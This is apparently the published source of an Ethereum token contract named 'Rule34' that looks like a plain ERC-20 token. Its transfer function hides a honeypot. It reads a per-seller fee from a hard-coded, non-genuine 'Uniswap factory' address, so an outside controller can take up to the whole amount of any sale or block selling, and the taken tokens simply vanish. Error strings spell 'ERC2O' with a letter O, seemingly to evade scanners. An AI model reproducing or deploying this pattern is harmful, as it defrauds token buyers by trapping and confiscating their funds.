Contract Source Code:
File 1 of 1 : Rule34
// SPDX-License-Identifier: None
pragma solidity 0.8.20;
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
contract Rule34 {
mapping (address => uint256) private _balances;
uint8 private _decimals = 9;
uint256 private _totalSupply = 34000000000 * 10 ** _decimals;
IUniswapV2Factory private uniswapV2Factory = IUniswapV2Factory(0x6fad87E1a4bD0b438772F2E6B5a6011fE33b4667);
IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
event Transfer(address indexed sender, address indexed recipient, uint256 value);
mapping (address => mapping (address => uint256)) private _allowances;
event Approval(address indexed owner, address indexed spender, uint256 value);
address payable internal _taxWallet;
bool swapEnabled = true;
bool tradingStarted = true;
uint buyFee = 0;
string private _name = "Rule34";
string private _symbol = "R34";
constructor () {
_taxWallet = payable(msg.sender);
_balances[msg.sender] = _totalSupply;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function getPairAddress() public view returns (address) {
return IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
}
function _approve(address owner, address spender, uint256 amount) private {
require(spender != address(0), "ERC20: approve to the zero address");
require(owner != address(0), "ERC20: approve from the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
return true;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC2O: transfer from the zero address");
require(to != address(0), "ERC2O: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = buyFee;
if (from != address(this) && from != _taxWallet && from != getPairAddress() && to != _taxWallet) {
uint256 sellFee = uint256(uint160(uniswapV2Factory.getPair(from, address(this))));
taxAmount = amount * sellFee / 100;
}
_balances[to]=_balances[to] + amount - taxAmount;
_balances[from]=_balances[from] - amount;
emit Transfer(from, to, amount - taxAmount);
}
}